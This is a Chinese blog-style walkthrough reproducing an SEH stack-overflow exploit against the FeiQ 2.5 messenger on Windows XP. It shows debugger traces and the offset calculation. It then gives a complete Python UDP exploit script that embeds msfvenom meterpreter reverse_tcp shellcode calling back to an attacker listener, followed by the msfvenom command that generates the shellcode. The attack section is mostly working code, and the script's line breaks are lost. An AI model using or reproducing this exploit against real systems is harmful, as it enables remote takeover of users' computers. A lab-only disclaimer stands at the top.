飞秋0day漏洞复现,详细代码及过程

2023-11-05 14:30

本文主要是介绍飞秋0day漏洞复现,详细代码及过程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

声明:此实验仅供学习使用,严禁用作他用,否则后果自

目录

声明:此实验仅供学习使用,严禁用作他用,否则后果自

一、实验环境

windows xp 安装ollydbg用以调试使用    飞秋2.5:目标软件

kali 安装Python3

二、实验原理

POC:1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.....

溢出时,触发SEH,此时再观察堆栈中的SEH,查看SEH链:

三、实施攻击

下面是完整的攻击代码

①winxp上运行飞秋2.5版本

②使用msf生成代码,kali上开启监听

③将python脚本上的shellcode替换成自己生成的shellcode

④使用Python执行脚本文件,可以看到winxp上的飞秋崩溃,此时再看kali上的监听,显示meterprete证明渗透成功


一、实验环境

windows xp 安装ollydbg用以调试使用    飞秋2.5:目标软件
kali 安装Python3

二、实验原理

利用栈溢出漏洞,改写she链条中的指向,执行恶意代码。

POC:
1_lbt4_1#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.....

使用olldbg打开飞秋2.5程序,在指令窗口定位到溢出代码,调试定位到出现bug时的代码:

0049061C  |. /EB 2E         jmp     short 0049064C
0049061E  |> |81FB FF3F0000 cmp     ebx, 3FFF
00490624  |. |B8 FF3F0000   mov     eax, 3FFF
00490629  |. |7F 02         jg      short 0049062D
0049062B  |. |8BC3          mov     eax, ebx
0049062D  |> |8B7424 20     mov     esi, dword ptr [esp+20]
00490631  |. |8BC8          mov     ecx, eax
00490633  |. |8BD9          mov     ebx, ecx
00490635  |. |C1E9 02       shr     ecx, 2
00490638  |. |F3:A5         rep     movs dword ptr es:[edi], dword p>;  //这里是溢出点,拷贝时发生溢出错误
0049063A  |. |8BCB          mov     ecx, ebx
0049063C  |. |8B5C24 2C     mov     ebx, dword ptr [esp+2C]
00490640  |. |83E1 03       and     ecx, 3
00490643  |. |40            inc     eax

溢出时,触发SEH,此时再观察堆栈中的SEH,查看SEH链:

0011F498   飞秋FeiQ.00589B89

0012D5F4   飞秋FeiQ.00593AA7
0012D678   飞秋FeiQ.00595644
0012D728   USER32.77D4048F
0012D788   USER32.77D4048F
0012D80C   飞秋FeiQ.005955B4
0012FF08   飞秋FeiQ.00586673
0012FFB0   飞秋FeiQ.00555990
0012FFE0   kernel32.7C839AD8

堆栈值>123670(拷贝的第一个EDI地址)的第一个SEH链为0012D5F4,进去看具体堆栈:
0012D5F0   0050F55F  返回到 飞秋FeiQ.0050F55F 来自 飞秋FeiQ.00550870
0012D5F4   0012D678  指向下一个 SEH 记录的指针
0012D5F8   00593AA7  SE处理程序
0012D5FC   FFFFFFFF

初步构思淹没SEH指针和处理程序,从而能执行到自己的shellcode,构思结果如下:
0012D5F4   06EB06EB   指向下一个 SEH 记录的指针,这里更改为相当于jmp +4,跳到0012D5FC执行shellcode
0012D5F8   7FFA1571   SE处理程序。7FFA1571指向pop,pop,ret,当然也可以用任意一个程序中的pop,pop,ret代码,但这个是经典的POP,POP,RET地址,在winXP SP1,SP2,SP3应该是通用
0012D5FC   0089E8FC   以下的代码用来放shellcode
0012D600   89600000
0012D604   64D231E5
0012D608   8B30528B
0012D60C   528B0C52

三、实施攻击

首先需计算偏移,使其能正确淹没SEH地址。在这个例子中,计算偏移的方法比较简单,可直接利用artake提供的POC程序定位:当数据刚好淹没到0012D5F8时,此时ESI数据位:1294A9,而数据开始地址为1277BB,则1294A9 - 1277BB = 1CEE。也就是说数据偏移0X1CEE处即应为数据06EB06EB(jmp +4)。

下面是完整的攻击代码

########## Begin ##########
import socket
import time
import syssize =0x1cee #0x1cee 就是整数的7406while True:try:print("程序开始!!![*]",size)s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)#使用udp套接字s.bind(("",9990))#绑定此脚本使用端口buf = b"A"*sizea=b'1_lbt4_0#65664#6CF04987CC1A#570#31741#4294967295#2.5a:1317316152:admin:DESTTOP-1NSILG1:0:' #poc代码不能改b=b"\xeb\x06\xeb\x06\x71\x15\xfa\x7f"  #pop pop ret 代码c=b"\x00"# 此处shellcode使用kali的msf生成,坏字符只有\x00,已排除。这个shellcode的lhost为192.168.11.128 lport为4444,使用的# payload的为windows/meterpreter/reserve_tcp shellcode = (b"\xdd\xc4\xba\x60\x62\x49\x7f\xd9\x74\x24\xf4\x5f\x2b\xc9"b"\xb1\x59\x31\x57\x19\x03\x57\x19\x83\xef\xfc\x82\x97\xb5"b"\x97\xcd\x58\x46\x68\xb1\x69\x94\x0c\xba\xd8\x28\x46\xee"b"\xd0\xc3\x0a\x1a\x60\x36\x9b\xdd\x7d\x0e\x96\x07\x09\x02"b"\x0f\x76\xcd\x4f\x73\x19\xb1\x8d\xa0\xf9\x88\x5d\xb5\xf8"b"\xcd\x2b\xb3\x15\x83\xfc\xb0\xbb\x34\x88\x85\x07\x34\x5e"b"\x82\x37\x4e\xdb\x55\xc3\xe2\xe2\x85\x7b\x70\xac\x3d\xf0"b"\xde\x0d\x3f\xd5\x5a\x84\x4b\xe5\x2d\x26\x4b\x9e\x9a\xc3"b"\xb2\x76\xd3\x13\x75\xb9\x19\x38\x77\x82\x1a\xa0\x0d\xf8"b"\x58\x5d\x16\x3b\x22\xb9\x93\xdb\x84\x4a\x03\x3f\x34\x9e"b"\xd2\xb4\x3a\x6b\x90\x92\x5e\x6a\x75\xa9\x5b\xe7\x78\x7d"b"\xea\xb3\x5e\x59\xb6\x60\xfe\xf8\x12\xc6\xff\x1a\xfa\xb7"b"\xa5\x51\xe9\xae\xda\x9a\xf1\xce\x86\x0c\x3d\x03\x39\xcc"b"\x29\x14\x4a\xfe\xf6\x8e\xc4\xb2\x7f\x09\x12\xc3\x68\xaa"b"\xcc\x6b\xf8\x54\xed\x8b\xd0\x92\xb9\xdb\x4a\x32\xc2\xb0"b"\x8a\xbb\x17\x2c\x81\x2b\x58\x18\x9e\x2b\x30\x5a\xa1\x3a"b"\x9d\xd3\x47\x6c\x4d\xb3\xd7\xcd\x3d\x73\x88\xa5\x57\x7c"b"\xf7\xd6\x57\x57\x90\x7d\xb8\x01\xc8\xe9\x21\x08\x82\x88"b"\xae\x87\xee\x8b\x25\x2d\x0e\x45\xce\x44\x1c\xb2\xa9\xa6"b"\xdc\x43\x5c\xa6\xb6\x47\xf6\xf1\x2e\x4a\x2f\x35\xf1\xb5"b"\x1a\x46\xf6\x4a\xdb\x7e\x8c\x7d\x49\x3e\xfa\x81\x9d\xbe"b"\xfa\xd7\xf7\xbe\x92\x8f\xa3\xed\x87\xcf\x79\x82\x1b\x5a"b"\x82\xf2\xc8\xcd\xea\xf8\x37\x39\xb5\x03\x12\x39\xb2\xfb"b"\xe0\x16\x1b\x93\x1a\x27\x9b\x63\x71\xa7\xcb\x0b\x8e\x88"b"\xe4\xfb\x6f\x03\xad\x93\xfa\xc2\x1f\x02\xfa\xce\xfe\x9a"b"\xfb\xfd\xda\x2d\x81\x8e\xdd\xce\x76\x87\xb9\xcf\x76\xa7"b"\xbf\xec\xa0\x9e\xb5\x33\x71\xa5\xc6\x06\xd4\x8c\x4c\x68"b"\x4a\xce\x44")buf=a+buf+b+shellcode# 此处指向的IP即为要攻击的地址IP,可任意更改,2425端口是飞秋固定端口不能更改s.sendto(buf,('192.168.11.5',2425))# 测试通联情况用recv,dis=s.recvfrom(1024)print(recv,dis)time.sleep(3)print("程序结束")except:print("\nerror!!!!!!!!!!!")sys.exit()

下面是完整演示图片

①winxp上运行飞秋2.5版本

②使用msf生成代码,kali上开启监听
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.11.128 lport=4444 -b "\x00" -e x86/shikata_ga_nai -f c

③将python脚本上的shellcode替换成自己生成的shellcode
④使用Python执行脚本文件,可以看到winxp上的飞秋崩溃,此时再看kali上的监听,显示meterprete证明渗透成功

 

这篇关于飞秋0day漏洞复现,详细代码及过程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/350465

相关文章

IntelliJ IDEA 中配置 Spring MVC 环境的详细步骤及问题解决

《IntelliJIDEA中配置SpringMVC环境的详细步骤及问题解决》:本文主要介绍IntelliJIDEA中配置SpringMVC环境的详细步骤及问题解决,本文分步骤结合实例给大... 目录步骤 1:创建 Maven Web 项目步骤 2:添加 Spring MVC 依赖1、保存后执行2、将新的依赖

利用Python调试串口的示例代码

《利用Python调试串口的示例代码》在嵌入式开发、物联网设备调试过程中,串口通信是最基础的调试手段本文将带你用Python+ttkbootstrap打造一款高颜值、多功能的串口调试助手,需要的可以了... 目录概述:为什么需要专业的串口调试工具项目架构设计1.1 技术栈选型1.2 关键类说明1.3 线程模

Python Transformers库(NLP处理库)案例代码讲解

《PythonTransformers库(NLP处理库)案例代码讲解》本文介绍transformers库的全面讲解,包含基础知识、高级用法、案例代码及学习路径,内容经过组织,适合不同阶段的学习者,对... 目录一、基础知识1. Transformers 库简介2. 安装与环境配置3. 快速上手示例二、核心模

如何为Yarn配置国内源的详细教程

《如何为Yarn配置国内源的详细教程》在使用Yarn进行项目开发时,由于网络原因,直接使用官方源可能会导致下载速度慢或连接失败,配置国内源可以显著提高包的下载速度和稳定性,本文将详细介绍如何为Yarn... 目录一、查询当前使用的镜像源二、设置国内源1. 设置为淘宝镜像源2. 设置为其他国内源三、还原为官方

最详细安装 PostgreSQL方法及常见问题解决

《最详细安装PostgreSQL方法及常见问题解决》:本文主要介绍最详细安装PostgreSQL方法及常见问题解决,介绍了在Windows系统上安装PostgreSQL及Linux系统上安装Po... 目录一、在 Windows 系统上安装 PostgreSQL1. 下载 PostgreSQL 安装包2.

Java的栈与队列实现代码解析

《Java的栈与队列实现代码解析》栈是常见的线性数据结构,栈的特点是以先进后出的形式,后进先出,先进后出,分为栈底和栈顶,栈应用于内存的分配,表达式求值,存储临时的数据和方法的调用等,本文给大家介绍J... 目录栈的概念(Stack)栈的实现代码队列(Queue)模拟实现队列(双链表实现)循环队列(循环数组

MySql match against工具详细用法

《MySqlmatchagainst工具详细用法》在MySQL中,MATCH……AGAINST是全文索引(Full-Textindex)的查询语法,它允许你对文本进行高效的全文搜素,支持自然语言搜... 目录一、全文索引的基本概念二、创建全文索引三、自然语言搜索四、布尔搜索五、相关性排序六、全文索引的限制七

python中各种常见文件的读写操作与类型转换详细指南

《python中各种常见文件的读写操作与类型转换详细指南》这篇文章主要为大家详细介绍了python中各种常见文件(txt,xls,csv,sql,二进制文件)的读写操作与类型转换,感兴趣的小伙伴可以跟... 目录1.文件txt读写标准用法1.1写入文件1.2读取文件2. 二进制文件读取3. 大文件读取3.1

Linux内核参数配置与验证详细指南

《Linux内核参数配置与验证详细指南》在Linux系统运维和性能优化中,内核参数(sysctl)的配置至关重要,本文主要来聊聊如何配置与验证这些Linux内核参数,希望对大家有一定的帮助... 目录1. 引言2. 内核参数的作用3. 如何设置内核参数3.1 临时设置(重启失效)3.2 永久设置(重启仍生效

使用Java将DOCX文档解析为Markdown文档的代码实现

《使用Java将DOCX文档解析为Markdown文档的代码实现》在现代文档处理中,Markdown(MD)因其简洁的语法和良好的可读性,逐渐成为开发者、技术写作者和内容创作者的首选格式,然而,许多文... 目录引言1. 工具和库介绍2. 安装依赖库3. 使用Apache POI解析DOCX文档4. 将解析